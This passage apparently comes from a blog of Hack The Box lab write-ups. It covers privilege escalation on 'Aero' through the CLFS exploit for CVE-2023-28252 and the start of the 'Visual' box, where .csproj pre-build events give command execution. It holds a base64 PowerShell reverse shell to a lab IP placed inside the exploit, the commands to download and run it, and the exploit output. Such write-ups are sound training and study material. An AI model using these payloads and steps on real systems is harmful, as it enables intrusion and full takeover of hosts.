yMSASeYkMcgQtl9H0waeCMcCQSlnpgBbQiGYvFe0Y43LeQzAUAARrYPgzBFBZFMsIY0hA8YBVBCqtxBInLwnDrQwk7zQtnoHlhsTkPlsAO4Rgt/bTNC8coDfdhFD92hP43AiEXowplbmRzdHJlYW0KZW5kb2JqCgo2IDAgb2JqCjEwMzMxCmVuZG9iagoKNyAwIG9iago8PC9UeXBlL0ZvbnREZXNjcmlwdG9yL0ZvbnROYW1lL0JBQUFBQStMaWJlcmF0aW9uTW9ubwovRmxhZ3MgNQovRm9udEJCb3hbLTQ4MSAtMzAwIDc0MSA5ODBdL0l0YWxpY0FuZ2xlIDAKL0FzY2VudCAwCi9EZXNjZW50IDAKL0NhcEhlaWdodCA5ODAKL1N0ZW1WIDgwCi9Gb250RmlsZTIgNSAwIFIKPj4KZW5kb2JqCgo4IDAgb2JqCjw8L0xlbmd0aCA0NzEvRmlsdGVyL0ZsYXRlRGVjb2RlPj4Kc3RyZWFtCnicXZPLjqMwEEX3fIWXPYsW+IHdkVCkdNKRspiHJj0fQMBJI3UAEbLI349vXWZGmgXo2C6XD4Ur3x52h76b8x/T0BzjrM5d307xNtynJqpTvHR9po1qu2ZeRvJurvWY5Wnv8XGb4/XQn4eqyvKfae02Tw/1tGmHU/yS5d+nNk5df1FPv7bHND7ex/EzXmM/qyJbr1UbzynP13r8Vl9jLrueD21a7ubHc9ryL+D9MUZlZKyp0gxtvI11E6e6v8SsKoq1qvb7dRb79r+10nPL6dx81FMK1Sm0KJxdJzbCpQdbzpdgJ2x24FLYGrAnF+BAljwv5Bfwiix5Nswj8a88S+K3wkFidsJeznoja/CeMThXF+QVmP52A6a/34Lp79/A9PfIr+nvJQ/9veShf3Bg+pfC9A9w1vQvhekfUCtNfx/A9A/4Lr34C9Pfp59SGfo7eJql/shj6G9QN0N/AzdD/xLOZvF/BdM/SDz9HZwN/QN8DP29zNPfSzz9HepsFn9xoL9DzQ39nZxLf4d6Wvob+Fv6G5mnf8C/sPQv4WDp7+Bs4W8Kje+y9HcSv9Qf51r6u5Vc4OWm4iqj1/60iGru05TaQxpS+gId0fXxb8+Ow4hd8vwGHjnuPgplbmRzdHJlYW0KZW5kb2JqCgo5IDAgb2JqCjw8L1R5cGUvRm9udC9TdWJ0eXBlL1RydWVUeXBlL0Jhc2VGb250L0JBQUFBQStMaWJlcmF0aW9uTW9ubwovRmlyc3RDaGFyIDAKL0xhc3RDaGFyIDU2Ci9XaWR0aHNbMCA2MDAgNjAwIDYwMCA2MDAgNjAwIDYwMCA2MDAgNjAwIDYwMCA2MDAgNjAwIDYwMCA2MDAgNjAwIDYwMAo2MDAgNjAwIDYwMCA2MDAgNjAwIDYwMCA2MDAgNjAwIDYwMCA2MDAgNjAwIDYwMCA2MDAgNjAwIDYwMCA2MDAKNjAwIDYwMCA2MDAgNjAwIDYwMCA2MDAgNjAwIDYwMCA2MDAgNjAwIDYwMCA2MDAgNjAwIDYwMCA2MDAgNjAwCjYwMCA2MDAgNjAwIDYwMCA2MDAgNjAwIDYwMCA2MDAgNjAwIF0KL0ZvbnREZXNjcmlwdG9yIDcgMCBSCi9Ub1VuaWNvZGUgOCAwIFIKPj4KZW5kb2JqCgoxMCAwIG9iago8PC9GMSA5IDAgUgo+PgplbmRvYmoKCjExIDAgb2JqCjw8L0ZvbnQgMTAgMCBSCi9Qcm9jU2V0Wy9QREYvVGV4dF0KPj4KZW5kb2JqCgoxIDAgb2JqCjw8L1R5cGUvUGFnZS9QYXJlbnQgNCAwIFIvUmVzb3VyY2VzIDExIDAgUi9NZWRpYUJveFswIDAgNjEyIDc5Ml0vQ29udGVudHMgMiAwIFI+PgplbmRvYmoKCjQgMCBvYmoKPDwvVHlwZS9QYWdlcwovUmVzb3VyY2VzIDExIDAgUgovTWVkaWFCb3hbIDAgMCA2MTIgNzkyIF0KL0tpZHNbIDEgMCBSIF0KL0NvdW50IDE+PgplbmRvYmoKCjEyIDAgb2JqCjw8L1R5cGUvQ2F0YWxvZy9QYWdlcyA0IDAgUgovT3BlbkFjdGlvblsxIDAgUiAvWFlaIG51bGwgbnVsbCAwXQovTGFuZyhlbi1VUykKPj4KZW5kb2JqCgoxMyAwIG9iago8PC9DcmVhdG9yPEZFRkYwMDU3MDA3MjAwNjkwMDc0MDA2NTAwNzI+Ci9Qcm9kdWNlcjxGRUZGMDA0QzAwNjkwMDYyMDA3MjAwNjUwMDRGMDA2NjAwNjYwMDY5MDA2MzAwNjUwMDIwMDAzNzAwMkUwMDM0PgovQ3JlYXRpb25EYXRlKEQ6MjAyMzA5MjExODE4MTQrMDInMDAnKT4+CmVuZG9iagoKeHJlZgowIDE0CjAwMDAwMDAwMDAgNjU1MzUgZiAKMDAwMDAxMzIwNSAwMDAwMCBuIAowMDAwMDAwMDE5IDAwMDAwIG4gCjAwMDAwMDE1NTAgMDAwMDAgbiAKMDAwMDAxMzMwMyAwMDAwMCBuIAowMDAwMDAxNTcxIDAwMDAwIG4gCjAwMDAwMTE5ODcgMDAwMDAgbiAKMDAwMDAxMjAwOSAwMDAwMCBuIAowMDAwMDEyMTk3IDAwMDAwIG4gCjAwMDAwMTI3MzcgMDAwMDAgbiAKMDAwMDAxMzExOCAwMDAwMCBuIAowMDAwMDEzMTUwIDAwMDAwIG4gCjAwMDAwMTM0MDIgMDAwMDAgbiAKMDAwMDAxMzQ5OSAwMDAwMCBuIAp0cmFpbGVyCjw8L1NpemUgMTQvUm9vdCAxMiAwIFIKL0luZm8gMTMgMCBSCi9JRCBbIDw2MjVDNEQ2QjQ3NjREOUI3QzdDQzg0OTg1MTlGQzYxMj4KPDYyNUM0RDZCNDc2NEQ5QjdDN0NDODQ5ODUxOUZDNjEyPiBdCi9Eb2NDaGVja3N1bSAvRjBBQkY4NUJDOEIxQjkxRUYzMkVBNkM5RTUzM0QwMTQKPj4Kc3RhcnR4cmVmCjEzNjc0CiUlRU9GCg==

From my kali VM, I decoded the base64 output:

┌──(kali㉿kali)-[~/Desktop/HTB/Aero]
└─$ echo "JVBERi0xLjY<...snip...>iUlRU9GCg==" | base64 -d > CVE-2023-28252_Summary.pdf

CVE-2023-28252_Summary.pdf:

The above document is outlining CVE-2023-28252 which is a privilege escalation vulnerability in Windows Common Log File System (CLFS).

I checked the patch level on the machine by running systeminfo:

PS C:\Users\sam.emerson\documents> systeminfo
systeminfo

Host Name:                 AERO
OS Name:                   Microsoft Windows 11 Pro N
OS Version:                10.0.22000 N/A Build 22000
OS Manufacturer:           Microsoft Corporation
OS Configuration:          Standalone Workstation
OS Build Type:             Multiprocessor Free
Registered Owner:          sam.emerson
Registered Organization:
Product ID:                00332-00332-83900-AA094
Original Install Date:     9/18/2023, 12:06:55 PM
System Boot Time:          8/7/2024, 1:29:27 PM
System Manufacturer:       VMware, Inc.
System Model:              VMware7,1
System Type:               x64-based PC
Processor(s):              2 Processor(s) Installed.
                           [01]: AMD64 Family 25 Model 1 Stepping 1 AuthenticAMD ~2445 Mhz
                           [02]: AMD64 Family 25 Model 1 Stepping 1 AuthenticAMD ~2445 Mhz
BIOS Version:              VMware, Inc. VMW71.00V.23553139.B64.2403260936, 3/26/2024
Windows Directory:         C:\Windows
System Directory:          C:\Windows\system32
Boot Device:               \Device\HarddiskVolume1
System Locale:             en-us;English (United States)
Input Locale:              en-us;English (United States)
Time Zone:                 (UTC-08:00) Pacific Time (US & Canada)
Total Physical Memory:     4,095 MB
Available Physical Memory: 2,575 MB
Virtual Memory: Max Size:  5,503 MB
Virtual Memory: Available: 3,802 MB
Virtual Memory: In Use:    1,701 MB
Page File Location(s):     C:\pagefile.sys
Domain:                    WORKGROUP
Logon Server:              \\AERO
Hotfix(s):                 7 Hotfix(s) Installed.
                           [01]: KB5004342
                           [02]: KB5010690
                           [03]: KB5012170
                           [04]: KB5026038
                           [05]: KB5026910
                           [06]: KB5023774
                           [07]: KB5029782
Network Card(s):           1 NIC(s) Installed.
                           [01]: vmxnet3 Ethernet Adapter
                                 Connection Name: Ethernet0 2
                                 DHCP Enabled:    No
                                 IP address(es)
                                 [01]: 10.10.11.237
                                 [02]: fe80::91d6:697c:1dfb:ca4d
                                 [03]: dead:beef::f1b6:893:79ab:dbf
                                 [04]: dead:beef::7ded:f2fb:3252:ba5f
Hyper-V Requirements:      A hypervisor has been detected. Features required for Hyper-V will not be displayed.

The Microsoft page for CVE-2023-28252 lists the security patches that address the vulnerability. As shown in the systeminfo output above, of the 7 installed hotfixes, the system was missing the Windows 11 x64-based patch (KB5025224) for CVE-2023-28252.

A PoC for CVE-2023-28252 is available on GitHub here.

After downloading the PoC, I opened the solution in Visual Studio. Near the bottom of clfs_eop.cpp, the code verifies whether the current user is SYSTEM and, if so, runs notepad.exe:

In the system() command, I replaced notepad.exe with PowerShell #3 (Base64) from revshells:

system("powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4ANgA0ACIALAA0ADQAMwApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAJABkAGEAdABhACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYwBrADIAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA=");

I set the build configuration to Release and x64, then built the solution:

Build started at 2:28 PM...
1>------ Build started: Project: clfs_eop, Configuration: Release x64 ------
1>clfs_eop.cpp
1>C:\Users\mike\Desktop\HTB\Aero\CVE-2023-28252-master\clfs_eop\clfs_eop.cpp(617,9): warning C4477: 'printf' : format string '% p' requires an argument of type 'void *', but variadic argument 1 has type 'UINT64'
1>C:\Users\mike\Desktop\HTB\Aero\CVE-2023-28252-master\clfs_eop\clfs_eop.cpp(1449,11): warning C4477: 'printf' : format string '%p' requires an argument of type 'void *', but variadic argument 1 has type 'UINT64'
1>C:\Users\mike\Desktop\HTB\Aero\CVE-2023-28252-master\clfs_eop\clfs_eop.cpp(1465,4): warning C4312: 'type cast': conversion from 'unsigned int' to 'UINT64 *' of greater size
1>C:\Users\mike\Desktop\HTB\Aero\CVE-2023-28252-master\clfs_eop\clfs_eop.cpp(1471,4): warning C4312: 'type cast': conversion from 'unsigned int' to 'UINT64 *' of greater size
1>LINK : /LTCG specified but no code generation required; remove /LTCG from the link command line to improve linker performance
1>clfs_eop.vcxproj -> C:\Users\mike\Desktop\HTB\Aero\CVE-2023-28252-master\x64\Release\clfs_eop.exe
1>Done building project "clfs_eop.vcxproj".
========== Build: 1 succeeded, 0 failed, 0 up-to-date, 0 skipped ==========
========== Build completed at 2:28 PM and took 09.966 seconds ==========

From within the directory containing the compiled project, clfs_eop.exe, I started a Python web server:

PS C:\Users\mike\Desktop\HTB\Aero\CVE-2023-28252-master\x64\Release > ls


    Directory: C:\Users\mike\Desktop\HTB\Aero\CVE-2023-28252-master\x64\Release


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----          8/7/2024   2:28 PM         347648 clfs_eop.exe
-a----          8/7/2024   2:28 PM        6303744 clfs_eop.pdb


PS C:\Users\mike\Desktop\HTB\Aero\CVE-2023-28252-master\x64\Release > python3 -m http.server
Serving HTTP on :: port 8000 (http://[::]:8000/) ...

On the target, I downloaded clfs_eop.exe in C:\programdata:

PS C:\programdata> wget 10.10.14.64:8000/clfs_eop.exe -o clfs_eop.exe
wget 10.10.14.64:8000/clfs_eop.exe -o clfs_eop.exe
PS C:\programdata> ls
ls


    Directory: C:\programdata


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d---s-         9/18/2023   3:29 PM                Microsoft
d-----         9/18/2023   1:13 PM                Microsoft OneDrive
d-----          8/7/2024   1:30 PM                Package Cache
d-----         9/20/2023   7:34 AM                Packages
d-----          8/7/2024   1:29 PM                regid.1991-06.com.microsoft
d-----          6/5/2021   5:10 AM                SoftwareDistribution
d-----          6/5/2021   7:22 AM                ssh
d-----         9/18/2023   1:07 PM                USOPrivate
d-----          6/5/2021   5:10 AM                USOShared
d-----         9/18/2023   1:20 PM                VMware
-a----          8/7/2024   2:35 PM         347648 clfs_eop.exe

I started a listener with netcat and then ran clfs_eop.exe:

PS C:\Users\mike\Desktop\HTB\Aero > c:\tools\netcat\nc.exe -lvnp 443
listening on [any] 443 ...

PS C:\programdata> .\clfs_eop.exe
.\clfs_eop.exe
[+] Incorrect number of arguments ... using default value 1208 and flag 1 for w11 and w10


ARGUMENTS
[+] TOKEN OFFSET 4b8
[+] FLAG 1


VIRTUAL ADDRESSES AND OFFSETS
[+] NtFsControlFile Address --> 00007FFA5F084240
[+] pool NpAt VirtualAddress -->FFFF8683655FE000
[+] MY EPROCESSS FFFFAC8F787A8140
[+] SYSTEM EPROCESSS FFFFAC8F738FB040
[+] _ETHREAD ADDRESS FFFFAC8F77045080
[+] PREVIOUS MODE ADDRESS FFFFAC8F770452B2
[+] Offset ClfsEarlierLsn --------------------------> 0000000000013220
[+] Offset ClfsMgmtDeregisterManagedClient --------------------------> 000000000002BFB0
[+] Kernel ClfsEarlierLsn --------------------------> FFFFF8065D443220
[+] Kernel ClfsMgmtDeregisterManagedClient --------------------------> FFFFF8065D45BFB0
[+] Offset RtlClearBit --------------------------> 0000000000343010
[+] Offset PoFxProcessorNotification --------------------------> 00000000003DBD00
[+] Offset SeSetAccessStateGenericMapping --------------------------> 00000000009C87B0
[+] Kernel RtlClearBit --------------------------> FFFFF80658543010
[+] Kernel SeSetAccessStateGenericMapping --------------------------> FFFFF80658BC87B0

[+] Kernel PoFxProcessorNotification --------------------------> FFFFF806585DBD00


PATHS
[+] Folder Public Path = C:\Users\Public
[+] Base log file name path= LOG:C:\Users\Public\47
[+] Base file path = C:\Users\Public\47.blf
[+] Container file name path = C:\Users\Public\.p_47
Last kernel CLFS address = FFFF868358F2C000
numero de tags CLFS founded 9

Last kernel CLFS address = FFFF86835EAE7000
numero de tags CLFS founded 1

[+] Log file handle: 0000000000000104
[+] Pool CLFS kernel address: FFFF86835EAE7000

number of pipes created =5000

number of pipes created =4000
TRIGGER START
System_token_value: FFFF868354641595
SYSTEM TOKEN CAPTURED
Closing Handle
ACTUAL USER=SYSTEM
#< CLIXML

Netcat caught a shell as nt authority\system:

PS C:\Users\mike\Desktop\HTB\Aero > c:\tools\netcat\nc.exe -lvnp 443
listening on [any] 443 ...
connect to [10.10.14.64] from (UNKNOWN) [10.10.11.237] 57387

PS C:\programdata> whoami
nt authority\system
PS C:\programdata> cd \users\administrator\desktop
PS C:\users\administrator\desktop> ls


    Directory: C:\users\administrator\desktop


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-ar---          8/7/2024   1:30 PM             34 root.txt

Hack The Box - Visual

Sat, 03 Aug 2024 00:00:00 GMT

Visual is a Windows machine hosting a website that compiles Visual Studio projects from a remote Git repository. Command execution on the box can be achieved by specifying a pre-build event within the project, this can be leveraged to obtain a shell as the user enox. Enumeration of the machine can lead to the discovery that the current user has write permission in c:\xampp\htdocs, allowing for a PHP web shell to be written into the web root. This can then be used to obtain a shell as local service. The service account is running with limited privileges, but any of the privileges that have been restricted for this account can be recovered using the FullPowers tool, most notably SeImpersonate. With this privilege, a potato attack can be used to obtain a system shell.

nmap scan:

┌──(kali㉿kali)-[~/Desktop/HTB/Visual]
└─$ nmap -sC -sV -oA nmap/output 10.10.11.234
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-31 07:01 EDT
Nmap scan report for 10.10.11.234
Host is up (0.040s latency).
Not shown: 999 filtered tcp ports (no-response)
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.56 ((Win64) OpenSSL/1.1.1t PHP/8.1.17)
|_http-title: Visual - Revolutionizing Visual Studio Builds
|_http-server-header: Apache/2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.1.17

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.57 seconds

The only open port was 80, the webpage compiles Visual Studio projects from a remote Git repo with support for projects written in .NET 6.0 and C#:

I started a python web server and tested the form:

Submitting the form showed the following:

The request from the server attempted to access Git repository information at the expected location for Git metadata (/info/refs), and then tried to perform the Git operation git-upload-pack. Since the python web server was not set up to serve a Git repository, it returned a 404 error:

┌──(kali㉿kali)-[~/Desktop/HTB/Visual]
└─$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.11.234 - - [31/Jul/2024 07:19:22] code 404, message File not found
10.10.11.234 - - [31/Jul/2024 07:19:22] "GET /test/info/refs?service=git-upload-pack HTTP/1.1" 404 -

The following error message was shown on the Visual webpage:

So based on the above, it seemed as though I needed to host a Git repository for the server to successfully fetch the project files. But first, I needed to create a valid project that included a solution (.sln) file.

To make the project from a Linux machine, I started a Docker container with the .NET SDK 6.0 image and created a new project with dotnet new console:

┌──(kali㉿kali)-[~/Desktop/HTB/Visual/TestProject]
└─$ sudo docker run --rm -it -v `pwd`:/TestProject mcr.microsoft.com/dotnet/sdk:6.0 bash
root@bc9c5e2ff2ad:/# ls
TestProject  boot  etc   lib    media  opt   root  sbin  sys  usr
bin          dev   home  lib64  mnt    proc  run   srv   tmp  var
root@bc9c5e2ff2ad:/# cd TestProject
root@bc9c5e2ff2ad:/TestProject# dotnet new console
The template "Console App" was created successfully.

Processing post-creation actions...
Running 'dotnet restore' on /TestProject/TestProject.csproj...
  Determining projects to restore...
  Restored /TestProject/TestProject.csproj (in 111 ms).
Restore succeeded.


root@bc9c5e2ff2ad:/TestProject# ls
Program.cs  TestProject.csproj  obj

Then, I created a solution file with dotnet new sln:

root@bc9c5e2ff2ad:/TestProject# dotnet new sln
The template "Solution File" was created successfully.

root@bc9c5e2ff2ad:/TestProject# cat TestProject.sln 

Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio Version 17
VisualStudioVersion = 17.0.31903.59
MinimumVisualStudioVersion = 10.0.40219.1
Global
        GlobalSection(SolutionConfigurationPlatforms) = preSolution
                Debug|Any CPU = Debug|Any CPU
                Release|Any CPU = Release|Any CPU
        EndGlobalSection
        GlobalSection(SolutionProperties) = preSolution
                HideSolutionNode = FALSE
        EndGlobalSection
EndGlobal

I added TestProject.csproj to TestProject.sln with dotnet sln TestProject.sln add TestProject.csproj:

root@bc9c5e2ff2ad:/TestProject# dotnet sln TestProject.sln add TestProject.csproj 
Project `TestProject.csproj` added to the solution.
root@bc9c5e2ff2ad:/TestProject# cat TestProject.sln 

Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio Version 17
VisualStudioVersion = 17.0.31903.59
MinimumVisualStudioVersion = 10.0.40219.1
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "TestProject", "TestProject.csproj", "{F2A51054-6A93-4654-99AF-5F8D97D38E6C}"
EndProject
Global
        GlobalSection(SolutionConfigurationPlatforms) = preSolution
                Debug|Any CPU = Debug|Any CPU
                Release|Any CPU = Release|Any CPU
        EndGlobalSection
        GlobalSection(SolutionProperties) = preSolution
                HideSolutionNode = FALSE
        EndGlobalSection
        GlobalSection(ProjectConfigurationPlatforms) = postSolution
                {F2A51054-6A93-4654-99AF-5F8D97D38E6C}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
                {F2A51054-6A93-4654-99AF-5F8D97D38E6C}.Debug|Any CPU.Build.0 = Debug|Any CPU
                {F2A51054-6A93-4654-99AF-5F8D97D38E6C}.Release|Any CPU.ActiveCfg = Release|Any CPU
                {F2A51054-6A93-4654-99AF-5F8D97D38E6C}.Release|Any CPU.Build.0 = Release|Any CPU
        EndGlobalSection
EndGlobal

I built the project with dotnet build and ran it with dotnet run:

root@bc9c5e2ff2ad:/TestProject# dotnet build
MSBuild version 17.3.4+a400405ba for .NET
  Determining projects to restore...
  All projects are up-to-date for restore.
  TestProject -> /TestProject/bin/Debug/net6.0/TestProject.dll

Build succeeded.
    0 Warning(s)
    0 Error(s)

Time Elapsed 00:00:05.22
root@bc9c5e2ff2ad:/TestProject# dotnet run
Hello, World!

Next, to host the project in a Git repository, I used Docker to start an instance of Gitea by doing the following:

Pulled the Gitea image:

┌──(kali㉿kali)-[~/Desktop/HTB/Visual]
└─$ sudo docker pull gitea/gitea:latest
latest: Pulling from gitea/gitea
ec99f8b99825: Pull complete 
a6f93238fbf9: Pull complete 
7ba71f787c2a: Pull complete 
7f63cdf32c7d: Pull complete 
823f22cebab2: Pull complete 
2aebd935eab5: Pull complete 
09506ba9f9c2: Pull complete 
Digest: sha256:1b9dcae47e821b8dd75c1e48d13677c428624d02e683badb461e4947300e7d19
Status: Downloaded newer image for gitea/gitea:latest
docker.io/gitea/gitea:latest

Started the instance and forwarded local port 3000 to 3000 on the container:

┌──(kali㉿kali)-[~/Desktop/HTB/Visual]
└─$ sudo docker run -p 3000:3000 gitea/gitea
Generating /data/ssh/ssh_host_ed25519_key...
Generating /data/ssh/ssh_host_rsa_key...
Generating /data/ssh/ssh_host_ecdsa_key...
Server listening on :: port 22.
Server listening on 0.0.0.0 port 22.
2024/07/31 11:41:04 cmd/web.go:242:runWeb() [I] Starting Gitea on PID: 17
2024/07/31 11:41:04 cmd/web.go:111:showWebStartupMessage() [I] Gitea version: 1.22.1 built with GNU Make 4.4.1, go1.22.5 : bindata, timetzdata, sqlite, sqlite_unlock_notify
2024/07/31 11:41:04 cmd/web.go:112:showWebStartupMessage() [I] * RunMode: prod
2024/07/31 11:41:04 cmd/web.go:113:showWebStartupMessage() [I] * AppPath: /usr/local/bin/gitea
2024/07/31 11:41:04 cmd/web.go:114:showWebStartupMessage() [I] * WorkPath: /data/gitea
2024/07/31 11:41:04 cmd/web.go:115:showWebStartupMessage() [I] * CustomPath: /data/gitea
2024/07/31 11:41:04 cmd/web.go:116:showWebStartupMessage() [I] * ConfigFile: /data/gitea/conf/app.ini
2024/07/31 11:41:04 cmd/web.go:117:showWebStartupMessage() [I] Prepare to run install page
2024/07/31 11:41:04 cmd/web.go:304:listen() [I] Listen: http://0.0.0.0:3000
2024/07/31 11:41:04 cmd/web.go:308:listen() [I] AppURL(ROOT_URL): http://localhost:3000/
2024/07/31 11:41:04 ...s/graceful/server.go:50:NewServer() [I] Starting new Web server: tcp:0.0.0.0:3000 on PID: 17

I visited the Gitea instance at http://127.0.0.1:3000 which brought up the initial configuration. I clicked Install Gitea at the bottom and registered a new user, then I added a new repository:

Next, within the project folder for the Hello, World! console app, I initialized a Git repo and pushed the code to Gitea:

┌──(kali㉿kali)-[~/Desktop/HTB/Visual/TestProject]
└─$ git init               
hint: Using 'master' as the name for the initial branch. This default branch name
hint: is subject to change. To configure the initial branch name to use in all
hint: of your new repositories, which will suppress this warning, call:
hint: 
hint:   git config --global init.defaultBranch <name>
hint: 
hint: Names commonly chosen instead of 'master' are 'main', 'trunk' and
hint: 'development'. The just-created branch can be renamed via this command:
hint: 
hint:   git branch -m <name>
Initialized empty Git repository in /home/kali/Desktop/HTB/Visual/TestProject/.git/

┌──(kali㉿kali)-[~/Desktop/HTB/Visual/TestProject]
└─$ git checkout -b main
Switched to a new branch 'main'
                                                                                         
┌──(kali㉿kali)-[~/Desktop/HTB/Visual/TestProject]
└─$ git add .           
                                                                                         
┌──(kali㉿kali)-[~/Desktop/HTB/Visual/TestProject]
└─$ git commit -m "initial commit"
[main (root-commit) e80ab55] initial commit
 28 files changed, 280 insertions(+)
 create mode 100644 Program.cs
 create mode 100644 TestProject.csproj
 create mode 100644 TestProject.sln
 create mode 100755 bin/Debug/net6.0/TestProject
 create mode 100644 bin/Debug/net6.0/TestProject.deps.json
 create mode 100644 bin/Debug/net6.0/TestProject.dll
 create mode 100644 bin/Debug/net6.0/TestProject.pdb
 create mode 100644 bin/Debug/net6.0/TestProject.runtimeconfig.json
 create mode 100644 obj/Debug/net6.0/.NETCoreApp,Version=v6.0.AssemblyAttributes.cs
 create mode 100644 obj/Debug/net6.0/TestProject.AssemblyInfo.cs
 create mode 100644 obj/Debug/net6.0/TestProject.AssemblyInfoInputs.cache
 create mode 100644 obj/Debug/net6.0/TestProject.GeneratedMSBuildEditorConfig.editorconfig
 create mode 100644 obj/Debug/net6.0/TestProject.GlobalUsings.g.cs
 create mode 100644 obj/Debug/net6.0/TestProject.assets.cache
 create mode 100644 obj/Debug/net6.0/TestProject.csproj.AssemblyReference.cache
 create mode 100644 obj/Debug/net6.0/TestProject.csproj.CoreCompileInputs.cache
 create mode 100644 obj/Debug/net6.0/TestProject.csproj.FileListAbsolute.txt
 create mode 100644 obj/Debug/net6.0/TestProject.dll
 create mode 100644 obj/Debug/net6.0/TestProject.genruntimeconfig.cache
 create mode 100644 obj/Debug/net6.0/TestProject.pdb
 create mode 100755 obj/Debug/net6.0/apphost
 create mode 100644 obj/Debug/net6.0/ref/TestProject.dll
 create mode 100644 obj/Debug/net6.0/refint/TestProject.dll
 create mode 100644 obj/TestProject.csproj.nuget.dgspec.json
 create mode 100644 obj/TestProject.csproj.nuget.g.props
 create mode 100644 obj/TestProject.csproj.nuget.g.targets
 create mode 100644 obj/project.assets.json
 create mode 100644 obj/project.nuget.cache
                                                                                         
┌──(kali㉿kali)-[~/Desktop/HTB/Visual/TestProject]
└─$ git remote add origin http://127.0.0.1:3000/test/TestProject.git
                                                                                         
┌──(kali㉿kali)-[~/Desktop/HTB/Visual/TestProject]
└─$ git push -u origin main
Username for 'http://127.0.0.1:3000': test
Password for 'http://test@127.0.0.1:3000': 
Enumerating objects: 33, done.
Counting objects: 100% (33/33), done.
Delta compression using up to 4 threads
Compressing objects: 100% (26/26), done.
Writing objects: 100% (33/33), 70.64 KiB | 5.04 MiB/s, done.
Total 33 (delta 2), reused 0 (delta 0), pack-reused 0
remote: . Processing 1 references
remote: Processed 1 references in total
To http://127.0.0.1:3000/test/TestProject.git
 * [new branch]      main -> main
branch 'main' set up to track 'origin/main'.

The project could then be viewed in Gitea:

I went back to Visual and submitted the repo URL:

The build succeeded:

The build process of a Visual Studio project can be leveraged to get command execution on the target machine due to the option to specify build events which are used to run commands before the build starts or after the build finishes.

For example, going back to the project files in the docker container, this was the default TestProject.csproj after running dotnet new console:

<Project Sdk="Microsoft.NET.Sdk">

  <PropertyGroup>
    <OutputType>Exe</OutputType>
    <TargetFramework>net6.0</TargetFramework>
    <ImplicitUsings>enable</ImplicitUsings>
    <Nullable>enable</Nullable>
  </PropertyGroup>

</Project>

Running dotnet build showed the following:

A pre-build event can be added using the <PreBuildEvent> tag within the .csproj file that will run commands or scripts before the build starts. So I edited TestProject.csproj and added the <PreBuildEvent> tag with the whoami command:

<Project Sdk="Microsoft.NET.Sdk">

  <PropertyGroup>
    <OutputType>Exe</OutputType>
    <TargetFramework>net6.0</TargetFramework>
    <ImplicitUsings>enable</ImplicitUsings>
    <Nullable>enable</Nullable>
    <PreBuildEvent>whoami</PreBuildEvent>
  </PropertyGroup>

</Project>

When I built the project again, the whoami command ran before the build started:

To get a shell on Visual, I edited the <PreBuildEvent> tag in TestProject.csproj to contain the PowerShell #3 (Base64) reverse shell payload from revshells:

<Project Sdk="Microsoft.NET.Sdk">

  <PropertyGroup>
    <OutputType>Exe</OutputType>
    <TargetFramework>net6.0</TargetFramework>
    <ImplicitUsings>enable</ImplicitUsings>
    <Nullable>enable</Nullable>
